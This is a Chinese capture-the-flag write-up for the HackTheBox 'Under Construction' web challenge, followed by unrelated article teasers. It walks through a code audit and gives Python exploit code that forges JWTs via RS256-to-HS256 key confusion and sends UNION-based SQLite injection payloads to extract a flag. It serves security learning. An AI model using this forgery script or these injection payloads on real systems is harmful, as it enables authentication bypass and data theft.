HTB_Under Construction—jwt伪造与sqlite注入

news2024/11/25 1:04:10

根据提示,此题目应该是代码审计类型的,文件结构如下

在这里插入图片描述

一般思路有两个,一是看有没有什么敏感信息,二就是看参数传递的地方能否利用,包括注入,伪造等

分析代码

index.js

先来分析入口文件,这是标准的web应用程序的入口文件,含义如下,看起来没有什么需要重点关注的地方

在这里插入图片描述

(这两天看到一些接入chatgpt开发的代码分析程序,过一阵人人都能手撕代码审计逆向和pwn题了😄)

package.json

此文件是一些配置以及版本信息,常出现漏洞的地方就是 express框架的利用,例如:express框架一些渗透技巧 和jwt的伪造,例如:攻击JWT的一些方法

在这里插入图片描述

views/index.html

此文件是一个普通web页面,显示一些基本信息和用户名 (xss漏洞一般很难遇到并利用)

在这里插入图片描述

views/auth.html

这是登录注册页面,接收用户名密码并传递到服务端,正确跳转到内容页面,错误返回此页面,它的后端实现函数在 routes/index.js 中

在这里插入图片描述

routes/index.js

共四个部分,是路由限制功能的实现

// 判断用户名是否存在 存在则跳转到 index 页面 不存在则返回错误信息
router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});
// 请求 auth 页面 并将 req.query 的值传递给 auth.html 页面
router.get('/auth', (req, res) => 
    res.render('auth.html', { query: req.query }));
// 退出清空 session
router.get('/logout', (req, res) => {
    res.clearCookie('session');
    return res.redirect('/auth');
});
// 检查请求中是否有 register 字段 存在:则会尝试创建一个新用户 并将其添加到数据库中 还会检查username和password是否已定义并且是否为空 如果是:重定向到 auth页面
router.post('/auth', async (req, res) => {
    const { username, password } = req.body;
    if((username !== undefined && username.trim().length === 0) 
        || (password !== undefined && password.trim().length === 0)){
        return res.redirect('/auth');
    }
    if(req.body.register !== undefined){
        let canRegister = await DBHelper.checkUser(username);
        if(!canRegister){
            return res.redirect('/auth?error=Username already exists');
        }
        DBHelper.createUser(username, password);
        return res.redirect('/auth?error=Registered successfully&type=success');
    }}
// 验证用户名密码 如果验证成功 路由处理程序将创建一个新的JWT令牌 并使用其签名中的数据(这里是用户名)将其存储在 cookie 中 最后 路由处理程序将重定向用户到网站的根路径 让他们访问仅对已登录用户开放的资源
    let canLogin = await DBHelper.attemptLogin(username, password);
    if(!canLogin){
        return res.redirect('/auth?error=Invalid username or password');
    }
    let token = await JWTHelper.sign({
        username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
    })
    res.cookie('session', token, { maxAge: 900000 });
    return res.redirect('/');

在这里插入图片描述

middleware/AuthMiddleware.js

此程序判断 session 不为空时,将其解码,取出其中的用户名以便后续使用

module.exports = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) return res.redirect('/auth');
        let data = await JWTHelper.decode(req.cookies.session);
        req.data = {
            username: data.username
        }
        next();
    } catch(e) {
        console.log(e);
        return res.status(500).send('Internal server error');
    }
}

helpers/DBHelper.js

数据库连接的代码就不看了,下面这几个函数都是数据库操作语句,没有看到过滤函数,所以可以尝试注入

getUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
			...
	});});},
checkUser(username){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
			...
	});});},
createUser(username, password){
	let query = 'INSERT INTO users(username, password) VALUES(?,?)';
	let stmt = db.prepare(query);
	stmt.run(username, password);
	stmt.finalize();
},
attemptLogin(username, password){
	return new Promise((res, rej) => {
		db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
			...
	});});}

helpers/JWTHelper.js

这就是 jwt 的生成 token 的加解密过程

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

什么是 jwt

本题大致思路就是生成 jwt 格式的 token 将我们的 sql 注入的语句传递到服务器,首先了解一下 jwt

说白了,也是一种身份验证的令牌,类似 session、cookie、token ,格式为 header.payload.signature

在这里插入图片描述

与其他令牌不同的是,它只需要在服务器端存储一个私钥,就可以使用签名算法验证数据

header: 常用字段如下 alg指定了token加密使用的算法 (最常用的为HMAC和RSA算法) typ声明类型为JWT
使用 base64 编码
{
  "alg": "RS256",
  "typ": "JWT"
}
payload: 通常为传递的数据 同样使用 base64 编码
signature:使用header中的算法将 header+payload 加密计算

这样,服务端使用私钥解密签名数据,如果能够和前面对上,就证明是可信的数据,非对称加密的安全性是通过私钥不被泄露来保证的,那么如何利用呢?

基本是通过修改加密方式来利用,如修改为空算法或对称加密算法

解题

注册登录,生成的签名可以到👉解密 jwt解密

可以看到解密出了公钥

在这里插入图片描述

使用如下方法验证公钥的准确性

import jwt

public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
decoded = jwt.decode("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2ODI0MDQ1NDR9.0whAAfQszbnS1WeX0kdtRXbe2Qoml8VG5dIt2nf69sla9dFlbFRCpr5rJ3pwgUMChJajmzltM7D67sOuDFijhQS8pdwe-M4I-31mV9S7oF4Hmal_U9XIZShJ8gr0Tj7dSGatrzn1woH05pj7-nKZJHXv6-iskQcv5EZq1ZyaVn60T1linazzjGoaOR3MN6fP-1Zbi8Ux6QWvP_1WphKIBDsOgbNq3mKyPdeYwNXOgdypFjl3wKJ_u_z7ysIMCgco0HIaLrYa1jNLpbCL31DnSiKLy3zvrRmWzyux_BkI8VPMRYz3eo0yGv4q2yviZcxEVfr4kR1HKRhuqImoIXhkzA",public_key,algorithms=["RS256"])
print(decoded)

在这里插入图片描述

使用 jwt 公钥加密的方式也很简单,修改加密算法为 HS256

import jwt
payload= {
  "username": "test",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1682404544}
public = payload.get("pk")
encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
print(encoded_jwt)

运行时报错

在这里插入图片描述

需要注释一下代码

在这里插入图片描述

此时就可以尝试sql注入了,初步的 exp 如下,username 就是我们的注入语句

import jwt
import requests

def gen_jwt_token(username):
	payload= {
	  "username": username,
	  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
	  "iat": 1682404544}
	public = payload.get("pk")
	encoded_jwt = jwt.encode(payload, key=public, algorithm="HS256")
	#print(encoded_jwt)
	get_resp(encoded_jwt)

def get_resp(token):
	headers={
		"cookie": "session=" + token
	}
	url = "http://161.35.36.167:30914/"
	response = requests.get(url,headers=headers).text
	print(response)


if __name__=='__main__':
	username = "test' union select 1,2,3--+ "
	gen_jwt_token(username)

发现在此处有回显

在这里插入图片描述

注意,这里使用的是 sqlite 数据库,所以函数有一些区别,比如它是没有 database()函数的,正巧,之前学习 android开发时接触过 Android开发基础 在利用语句章节

# 查数据库表名和字段名 结果一起返回
username = "test' union select 1,sql,3 from sqlite_master--+ "

在这里插入图片描述

# 查数据
username = "test' union select id,top_secret_flaag,3 from flag_storage--+ "

最终查询到 flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/460218.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零基础C/C++开发到底要学什么?

作者:黑马程序员 链接:https://www.zhihu.com/question/597037176/answer/2999707086 先和我一起看看,C/C学完了可以做什么: 软件工程师:负责设计、开发、测试和维护各类型的软件应用程序;游戏开发&#x…

【机智云物联网低功耗转接板】+模拟MCU快速上手

GE211是机智云自研的定制化转接板,使用 ESP32-C3-WROOM-02 通讯模块,适用于白色智能家电等设备应用。 转接板已经烧录了机智云连云的最新GAgent固件,所以不需要烧写任何软件就可以快速上手使用。 GE211板卡带有一个串口,一般是把这…

YOLOv1代码复现2:数据加载器构建

YOLOv1代码复现2:数据加载器构建 前言 ​ 在经历了Faster-RCNN代码解读的摧残后,下决心要搞点简单的,于是便有了本系列的博客。如果你苦于没有博客详细告诉你如何自己去实现YOLOv1,那么可以看看本系列的博客,也许可以帮…

同步辐射X射线断层扫描成像在各行业的应用

同步辐射X射线断层扫描成像在各行业的应用 同步辐射X射线断层扫描成像(synchrotron radiation X-ray computed tomography,SRCT)是一种非侵入式、高分辨率的成像技术,利用同步辐射光束产生的高强度、高亮度、单色性和相干性的X射线…

【C#】DockContent的使用

下载主题包和控件包 nuget Install-Package DockPanelSuite -Version 3.0.6 Install-Package DockPanelSuite.ThemeVS2015 -Version 3.0.6 在要靠的子界面继承DockContent 子界面上添加DockPanel控件,并将dock设置为fill。 主界面创建一个dockPanel1&#xff1b…

LDR6020全球第一颗PD MCU 无敌 Type-C手机背夹散热器方案

最近发现了个新玩意儿,因为经常玩游戏,手机发热的厉害,都可以煎鸡蛋了,心想着要买个东西给手机散散热,没想到还真的有手机散热器。 不知道手机散热器的也正常,毕竟一般人正常玩玩手机,发热就发…

局域网 - 高速以太网(百兆、千兆、万兆)

文章目录 1 概述1.1 802.3 物理层规范1.2 以太网标准中后缀 -T、-F、-X 含义 2 分类2.1 快速以太网(802.3μ、百兆)2.2 千兆以太网(802.3z、802.3ab)2.3 万兆以太网(802.3ae) 3 扩展3.1 网工软考真题 1 概述…

English Learning - L2-15 英音地道语音语调 语音语调四步法 2023.04.17 周一

English Learning - L2-15 英音地道语音语调 语音语调 2023.04.17 周一 语调概念和汉语拼音对比 语音语调四步法语调练习意群划分重音重中之重语调的选择 语调的含义 语调概念 广义:语音技巧,连读,失去爆破,音同化,还…

【Unity3D插件】Embedded Browser嵌入式浏览器插件使用教程

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好,我是佛系工程师☆恬静的小魔龙☆,不定时更新Unity开发技巧,觉得有用记得一键三连哦。 一、前言 好久没有介绍插件了,今天分享一款比较好用的嵌入式…

【MySQL】GROUP BY分组子句与联合查询基本操作

目录 前篇都在这里喔~ MySQL的增删改查 MySQL数据库约束和聚合函数的使用 1.GROUP BY子句 练习表如下: 1.查询不包含董事长的平均工资 2.按照角色分组计算平均工资 3.过滤掉平均工资大于一万的角色 4.♥过滤数据♥ 2.联合查询 以下列表作为依据 1.内连接 …

Netty核心源码分析(五)核心组件EventLoop源码分析

文章目录 系列文章目录一、EventLoop源码分析1、NioEventLoop源码2、EventLoop的父接口SingleThreadEventExecutor(1)addTask方法(2)startThread方法 3、NioEventLoop的run方法(核心!)&#xff…

网口通讯与串口通讯

目录 一、简介以及数据格式: 二、网口通讯与串口通讯主要区别: 三、工具小助手: 一、简介以及数据格式: 网口通讯(Ethernet)和串口通讯(Serial)都是用于数据传输的通信协议。 1、…

Netty简介

1.Netty是什么? 1>.Netty是由JBOSS提供的一个Java开源框架,现在为Github上的独立项目; 2>.Netty是一个异步的,基于事件驱动的网络应用框架,用于快速开发高性能的,高可靠的网络IO程序; 如图:异步与同步 说明: 同步: 在传统的BS开发模式中(左图),浏览器端发送一个请求…

接口策略PBR

实验原理 接口策略路由只对转发的报文起作用,对本地下发的报文(比如本地的Ping报文)不起作用,接口策略路由通过在流行为中配置重定向实现,只对接口入方向的报文生效。缺省情况下,设备按照路由表的下一跳进行报文转发,如果配置了接口策略路由,则设备按照接口策略路由指…

Flowable 流程定义(流程模板)的部署及设计的数据库表

一.简介 我们使用了 Spring Boot 之后,默认情况下流程是会自动部署的,基本上不需要我们额外做什么事情,我们称之为默认部署。 有的时候,我们的流程可能并不是提前设计好的,而是项目启动之后,动态部署的&am…

Verilog阻塞与非阻塞赋值详解

基本概念 关于阻塞赋值&#xff08;&#xff09;和非阻塞赋值&#xff08;<&#xff09;&#xff0c; 阻塞赋值&#xff08;&#xff09;是顺序敏感的&#xff0c;非阻塞赋值&#xff08;<&#xff09;是顺序独立的。阻塞赋值按它们在程序块中列出的顺序顺序执行。当它们…

分库分表,shardingJdbc和Mycat区别

shardingJdbc和Mycat都可以用来分库分表 MyCatshardingJdbc本质第三方应用,中间件代理层jar包是否需要修改代码否是可跨数据库否是是否跨语言是否性能下架&#xff0c;因为多了一层好 sharding-jdbc后续发展为Sharding-Sphere&#xff0c;包含sharding-jdbc、Sharding-Proxy、…

C. Painting the Fence(思维 + 前缀和)

Problem - C - Codeforces You需要油漆一个由n个部分组成的长围栏。不幸的是&#xff0c;它没有被涂漆&#xff0c;所以你决定雇用q名画家来完成这项工作。第i名画家将会油漆所有满足lisxsri的部分x. 不幸的是&#xff0c;你的预算很紧&#xff0c;所以你只能雇用q-2名画家。显…

Java线程池详解,内含实战演练~

本文是向大家介绍线程池的使用和一些注意事项&#xff0c;它能够实现高并发下快速处理业务&#xff0c;能够帮助开发人员深入理解线程池的价值。 1. 简介 线程池是使用池化技术管理和使用线程的一种机制。池化技术&#xff1a;提前准备一些资源&#xff0c;在需要时可以重复使…

200颗卫星!武大“东方慧眼”星座项目发布

本文转自武汉大学官微 4月24日&#xff0c;是“中国航天日”&#xff0c;“东方慧眼”智能遥感星座项目在武汉大学宣布正式启动。 针对当前我国卫星遥感存在“成本高、效率低、不稳定、应用少”等诸多问题&#xff0c;“东方慧眼”智能遥感卫星星座计划通过卫星星座组网观测、…